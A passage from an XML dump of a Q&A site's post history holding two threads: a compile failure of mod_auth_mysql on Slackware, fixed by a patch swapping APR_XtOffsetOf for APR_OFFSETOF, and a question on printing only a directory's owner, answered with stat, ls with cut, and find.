'mysql_auth_cmds[9].cmd_data')&#xD;&#xA;mod_auth_mysql.c:631: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:631: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:631: error: (near initialization for 'mysql_auth_cmds[10].cmd_data')&#xD;&#xA;mod_auth_mysql.c:635: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:635: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:635: error: (near initialization for 'mysql_auth_cmds[11].cmd_data')&#xD;&#xA;mod_auth_mysql.c:639: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:639: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:639: error: (near initialization for 'mysql_auth_cmds[12].cmd_data')&#xD;&#xA;mod_auth_mysql.c:643: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:643: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:643: error: (near initialization for 'mysql_auth_cmds[13].cmd_data')&#xD;&#xA;mod_auth_mysql.c:651: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:651: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:651: error: (near initialization for 'mysql_auth_cmds[14].cmd_data')&#xD;&#xA;mod_auth_mysql.c:655: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:655: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:655: error: (near initialization for 'mysql_auth_cmds[15].cmd_data')&#xD;&#xA;mod_auth_mysql.c:659: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:659: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:659: error: (near initialization for 'mysql_auth_cmds[16].cmd_data')&#xD;&#xA;mod_auth_mysql.c:663: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:663: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:663: error: (near initialization for 'mysql_auth_cmds[17].cmd_data')&#xD;&#xA;mod_auth_mysql.c:667: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:667: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:667: error: (near initialization for 'mysql_auth_cmds[18].cmd_data')&#xD;&#xA;mod_auth_mysql.c:671: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:671: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:671: error: (near initialization for 'mysql_auth_cmds[19].cmd_data')&#xD;&#xA;mod_auth_mysql.c: In function 'format_request':&#xD;&#xA;mod_auth_mysql.c:947: warning: pointer/integer type mismatch in conditional expression&#xD;&#xA;apxs:Error: Command failed with rc=65536&#xD;&#xA;&#xD;&#xA;I ran the usual command line for apxs (as mention in the BUILD file)&#xD;&#xA;&#xD;&#xA;    apxs -c -L/usr/lib/mysql -I/usr/include/mysql -lmysqlclient -lm -lz mod_auth_mysql.c&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Seems like the mysql library do not match what the code expect. I look around and it seems to be the last available version of the module although is getting old (june 2005).&#xD;&#xA;&#xD;&#xA;Does anyone make it work with a similar setup? &#xD;&#xA;Have been tweaking around for half a day without any success :-(&#xD;&#xA;&#xD;&#xA;Help!!!!!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18099" PostHistoryTypeId="1" PostId="7729" RevisionGUID="4254ae87-4df6-4ef4-b6f7-d942c74b31fe" CreationDate="2011-02-20T22:36:35.520" UserId="4931" Text="Mod_Auth_MySQL will not compile under Slackware 13" />
  <row Id="18100" PostHistoryTypeId="3" PostId="7729" RevisionGUID="4254ae87-4df6-4ef4-b6f7-d942c74b31fe" CreationDate="2011-02-20T22:36:35.520" UserId="4931" Text="éapacheàéauthenticationàémysqlàéslackwareàémoduleà" />
  <row Id="18101" PostHistoryTypeId="2" PostId="7730" RevisionGUID="0d2863a2-57a4-4186-abc1-13393f56ac51" CreationDate="2011-02-20T22:54:33.277" UserId="4933" Text="Hi I am looking for a command that will return the owner of a directory.... and only that. maybe a regex thing for ls -lat command or something? I don't know. I want to use the result in another script.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="18102" PostHistoryTypeId="1" PostId="7730" RevisionGUID="0d2863a2-57a4-4186-abc1-13393f56ac51" CreationDate="2011-02-20T22:54:33.277" UserId="4933" Text="Find the owner of a directory or file, but only return that and nothing else" />
  <row Id="18103" PostHistoryTypeId="3" PostId="7730" RevisionGUID="0d2863a2-57a4-4186-abc1-13393f56ac51" CreationDate="2011-02-20T22:54:33.277" UserId="4933" Text="ébashàélsà" />
  <row Id="18104" PostHistoryTypeId="6" PostId="7729" RevisionGUID="39f4fe1c-aeb2-4f75-b2da-fcb553781061" CreationDate="2011-02-20T23:04:48.347" UserId="885" Comment="edited tags" Text="éapacheàécompilingàémysqlàéslackwareàémoduleà" />
  <row Id="18105" PostHistoryTypeId="2" PostId="7731" RevisionGUID="24bc618f-3e9a-45e0-a324-6b5534634b51" CreationDate="2011-02-20T23:11:16.633" UserId="3976" Text="One thing to consider is whether the filesystem supports resizing (growing and shrinking), since LVM lets you resize logical partitions.  ext3/4 supports resizing, as does btrfs.  I've never tried, but the documentation says that XFS can be resized as well.&#xD;&#xA;" />
  <row Id="18106" PostHistoryTypeId="2" PostId="7732" RevisionGUID="07e4a297-925c-4722-af73-274f1fb84a23" CreationDate="2011-02-20T23:14:05.143" UserId="2421" Text="[`stat`][1]  from [GNU coreutils][2] can do this:&#xD;&#xA;&#xD;&#xA;    stat --format='%U' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/stat-invocation.html&#xD;&#xA;  [2]: http://www.gnu.org/software/coreutils/" />
  <row Id="18107" PostHistoryTypeId="2" PostId="7733" RevisionGUID="501aa271-e755-457b-beb1-e17809dee964" CreationDate="2011-02-20T23:15:41.813" UserId="885" Text="[Parsing the output of `ls` is rarely a good idea](http://mywiki.wooledge.org/ParsingLs), but obtaining the first few fields is an exception, it actually works.&#xD;&#xA;&#xD;&#xA;    ls -ld /path/to/directory | cut -d ' ' -f 3&#xD;&#xA;&#xD;&#xA;Another option is to use a `stat` command, but the problem with `stat` from the shell is that there are multiple commands with different syntax, so `stat` in a shell script is unportable (even across Linux installations).&#xD;&#xA;&#xD;&#xA;Note that testing whether a given user is the owner is a different proposition.&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$(find . -user &quot;$username&quot; -print -prune -o -prune)&quot; ]; then&#xD;&#xA;      echo &quot;The current directory is owned by $username.&quot;&#xD;&#xA;    fi&#xD;&#xA;    if [ -n &quot;$(find . -user &quot;$(id -u)&quot; -print -prune -o -prune)&quot; ]; then&#xD;&#xA;      echo &quot;The current directory is owned by the current user.&quot;&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="18108" PostHistoryTypeId="6" PostId="7730" RevisionGUID="982335f4-0b92-4960-849a-db0029f80762" CreationDate="2011-02-20T23:16:54.557" UserId="885" Comment="edited tags" Text="éshellöscriptàélsà" />
  <row Id="18109" PostHistoryTypeId="25" PostId="7730" RevisionGUID="03f8875d-929f-4350-ae3a-3fa0beb6dc94" CreationDate="2011-02-20T23:23:14.393" Comment="http://twitter.com/#!/StackUnix/status/39465128256737280" />
  <row Id="18110" PostHistoryTypeId="5" PostId="7730" RevisionGUID="57717102-dc0c-426c-8c62-a20c419b700e" CreationDate="2011-02-20T23:32:35.567" UserId="1207" Comment="deleted 17 characters in body" Text="I am looking for a command that will return the owner of a directory and only that--such as a regex parsing the `ls -lat` command or something similar? I want to use the result in another script." />
  <row Id="18111" PostHistoryTypeId="2" PostId="7734" RevisionGUID="b0613e91-179e-44e4-b6ca-abc9cbeef204" CreationDate="2011-02-21T00:17:49.067" UserId="2511" Text="One can also do this with GNU find:&#xD;&#xA;&#xD;&#xA;    find $directoryname -maxdepth 0 -printf '%u\n'&#xD;&#xA;&#xD;&#xA;This isn't portable outside of the GNU system, but I'd be surprised to find a Linux distribution where it doesn't work." />
  <row Id="18112" PostHistoryTypeId="2" PostId="7735" RevisionGUID="f5827697-d72e-41e2-bb85-54c22e9bd886" CreationDate="2011-02-21T00:42:32.700" UserId="4931" Text="I found an answer here: http://bugs.gentoo.org/show_bug.cgi?format=multiple&amp;id=192391&#xD;&#xA;&#xD;&#xA;And it work! :-)&#xD;&#xA;&#xD;&#xA;It change the APR_XtOffsetOf for APR_OFFSETOF and the .c file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; #patch which solves problem:&#xD;&#xA;&#xD;&#xA;--- mod_auth_mysql.c.orig       2007-09-13 09:36:14.000000000 +0200&#xD;&#xA;+++ mod_auth_mysql.c    2007-09-13 09:41:49.000000000 +0200&#xD;&#xA;@@ -589,87 +589,87 @@&#xD;&#xA; static&#xD;&#xA; command_rec mysql_auth_cmds[] = {&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLHost&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlhost),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlhost),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql server host name&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLPort&quot;, ap_set_int_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlport),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlport),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql server port number&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLSocket&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlsocket),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlsocket),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql server socket path&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLUser&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqluser),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqluser),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql server user name&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLPassword&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlpasswd),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlpasswd),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql server user password&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLDB&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlDB),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlDB),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql database name&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLUserTable&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlpwtable),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlpwtable),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql user table name&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLGroupTable&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlgrptable),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlgrptable),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql group table name&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLNameField&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlNameField),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlNameField),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql User ID field name within User table&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLGroupField&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlGroupField),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlGroupField),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql Group field name within table&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLGroupUserNameField&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec,&#xD;&#xA;mysqlGroupUserNameField),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlGroupUserNameField),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql User ID field name within Group table&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLPasswordField&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlPasswordField),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlPasswordField),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql Password field name within table&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLPwEncryption&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlEncryptionField),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlEncryptionField),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql password encryption method&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLSaltField&quot;, ap_set_string_slot,&#xD;&#xA;-       (void*) APR_XtOffsetOf(mysql_auth_config_rec, mysqlSaltField),&#xD;&#xA;+       (void*) APR_OFFSETOF(mysql_auth_config_rec, mysqlSaltField),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql salfe field name within table&quot;),&#xD;&#xA;&#xD;&#xA; /*     AP_INIT_FLAG(&quot;AuthMySQLKeepAlive&quot;, ap_set_flag_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlKeepAlive),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlKeepAlive),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql connection kept open across requests if On&quot;),&#xD;&#xA; */&#xD;&#xA;        AP_INIT_FLAG(&quot;AuthMySQLAuthoritative&quot;, ap_set_flag_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlAuthoritative),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlAuthoritative),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql lookup is authoritative if On&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_FLAG(&quot;AuthMySQLNoPasswd&quot;, ap_set_flag_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlNoPasswd),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlNoPasswd),&#xD;&#xA;        OR_AUTHCFG, &quot;If On, only check if user exists; ignore password&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_FLAG(&quot;AuthMySQLEnable&quot;, ap_set_flag_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlEnable),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlEnable),&#xD;&#xA;        OR_AUTHCFG, &quot;enable mysql authorization&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLUserCondition&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlUserCondition),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlUserCondition),&#xD;&#xA;        OR_AUTHCFG, &quot;condition to add to user where-clause&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLGroupCondition&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlGroupCondition),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlGroupCondition),&#xD;&#xA;        OR_AUTHCFG, &quot;condition to add to group where-clause&quot;),&#xD;&#xA;&#xD;&#xA;        AP_INIT_TAKE1(&quot;AuthMySQLCharacterSet&quot;, ap_set_string_slot,&#xD;&#xA;-       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlCharacterSet),&#xD;&#xA;+       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlCharacterSet),&#xD;&#xA;        OR_AUTHCFG, &quot;mysql character set to be used&quot;),&#xD;&#xA;&#xD;&#xA;   { NULL }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18113" PostHistoryTypeId="5" PostId="7735" RevisionGUID="f3fe15ab-06b1-478f-b5a0-771731cfb5b8" CreationDate="2011-02-21T00:58:00.390" UserId="885" Comment="formatting" Text="I found an answer here: http://bugs.gentoo.org/show_bug.cgi?format=multiple&amp;id=192391&#xD;&#xA;&#xD;&#xA;And it works! :-)&#xD;&#xA;&#xD;&#xA;It changes `APR_XtOffsetOf` to `APR_OFFSETOF` in the `.c` file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Patch which solves the problem:&#xD;&#xA;&#xD;&#xA;    --- mod_auth_mysql.c.orig       2007-09-13 09:36:14.000000000 +0200&#xD;&#xA;    +++ mod_auth_mysql.c    2007-09-13 09:41:49.000000000 +0200&#xD;&#xA;    @@ -589,87 +589,87 @@&#xD;&#xA;     static&#xD;&#xA;     command_rec mysql_auth_cmds[] = {&#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLHost&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlhost),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlhost),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql server host name&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLPort&quot;, ap_set_int_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlport),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlport),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql server port number&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLSocket&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlsocket),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlsocket),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql server socket path&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLUser&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqluser),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqluser),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql server user name&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLPassword&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlpasswd),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlpasswd),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql server user password&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLDB&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlDB),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlDB),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql database name&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLUserTable&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlpwtable),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlpwtable),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql user table name&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLGroupTable&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlgrptable),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlgrptable),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql group table name&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLNameField&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlNameField),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlNameField),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql User ID field name within User table&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLGroupField&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlGroupField),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlGroupField),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql Group field name within table&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLGroupUserNameField&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec,&#xD;&#xA;    mysqlGroupUserNameField),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlGroupUserNameField),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql User ID field name within Group table&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLPasswordField&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlPasswordField),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlPasswordField),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql Password field name within table&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLPwEncryption&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlEncryptionField),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlEncryptionField),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql password encryption method&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLSaltField&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void*) APR_XtOffsetOf(mysql_auth_config_rec, mysqlSaltField),&#xD;&#xA;    +       (void*) APR_OFFSETOF(mysql_auth_config_rec, mysqlSaltField),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql salfe field name within table&quot;),&#xD;&#xA;    &#xD;&#xA;     /*     AP_INIT_FLAG(&quot;AuthMySQLKeepAlive&quot;, ap_set_flag_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlKeepAlive),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlKeepAlive),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql connection kept open across requests if On&quot;),&#xD;&#xA;     */&#xD;&#xA;            AP_INIT_FLAG(&quot;AuthMySQLAuthoritative&quot;, ap_set_flag_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlAuthoritative),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlAuthoritative),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql lookup is authoritative if On&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_FLAG(&quot;AuthMySQLNoPasswd&quot;, ap_set_flag_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlNoPasswd),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlNoPasswd),&#xD;&#xA;            OR_AUTHCFG, &quot;If On, only check if user exists; ignore password&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_FLAG(&quot;AuthMySQLEnable&quot;, ap_set_flag_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlEnable),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlEnable),&#xD;&#xA;            OR_AUTHCFG, &quot;enable mysql authorization&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLUserCondition&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlUserCondition),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlUserCondition),&#xD;&#xA;            OR_AUTHCFG, &quot;condition to add to user where-clause&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLGroupCondition&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlGroupCondition),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlGroupCondition),&#xD;&#xA;            OR_AUTHCFG, &quot;condition to add to group where-clause&quot;),&#xD;&#xA;    &#xD;&#xA;            AP_INIT_TAKE1(&quot;AuthMySQLCharacterSet&quot;, ap_set_string_slot,&#xD;&#xA;    -       (void *) APR_XtOffsetOf(mysql_auth_config_rec, mysqlCharacterSet),&#xD;&#xA;    +       (void *) APR_OFFSETOF(mysql_auth_config_rec, mysqlCharacterSet),&#xD;&#xA;            OR_AUTHCFG, &quot;mysql character set to be used&quot;),&#xD;&#xA;    &#xD;&#xA;       { NULL }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18114" PostHistoryTypeId="5" PostId="7729" RevisionGUID="e8029d78-8b0b-4111-842d-46e92546db99" CreationDate="2011-02-21T01:00:01.170" UserId="885" Comment="formatting; grammar" Text="I tried to add the auth_mod_auth (3.0.0) module to my Slackware 13 (apache 2.2 &amp; MySQL 5.0) system.&#xD;&#xA;&#xD;&#xA;I ran the usual command line for apxs (as mention in the BUILD file)&#xD;&#xA;&#xD;&#xA;    apxs -c -L/usr/lib/mysql -I/usr/include/mysql -lmysqlclient -lm -lz mod_auth_mysql.c&#xD;&#xA;&#xD;&#xA;but I got the following error:&#xD;&#xA;&#xD;&#xA;    /usr/lib/apr-1.3.12/build-1/libtool --silent --mode=compile i486-slackware-linux-gcc -prefer-pic -O2 -march=i486 -mtune=i686  -DLINUX=2 -D_REENTRANT -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -pthread -I/usr/include/httpd  -I/usr/include/apr-1   -I/usr/include/apr-1  -I/usr/include/mysql  -c -o mod_auth_mysql.lo mod_auth_mysql.c &amp;&amp; touch mod_auth_mysql.slo&#xD;&#xA;    mod_auth_mysql.c:591: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:591: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:591: error: (near initialization for 'mysql_auth_cmds[0].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:595: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:595: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:595: error: (near initialization for 'mysql_auth_cmds[1].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:599: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:599: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:599: error: (near initialization for 'mysql_auth_cmds[2].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:603: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:603: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:603: error: (near initialization for 'mysql_auth_cmds[3].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:607: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:607: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:607: error: (near initialization for 'mysql_auth_cmds[4].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:611: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:611: error: initializer element is not constant&#xD;&#xA;    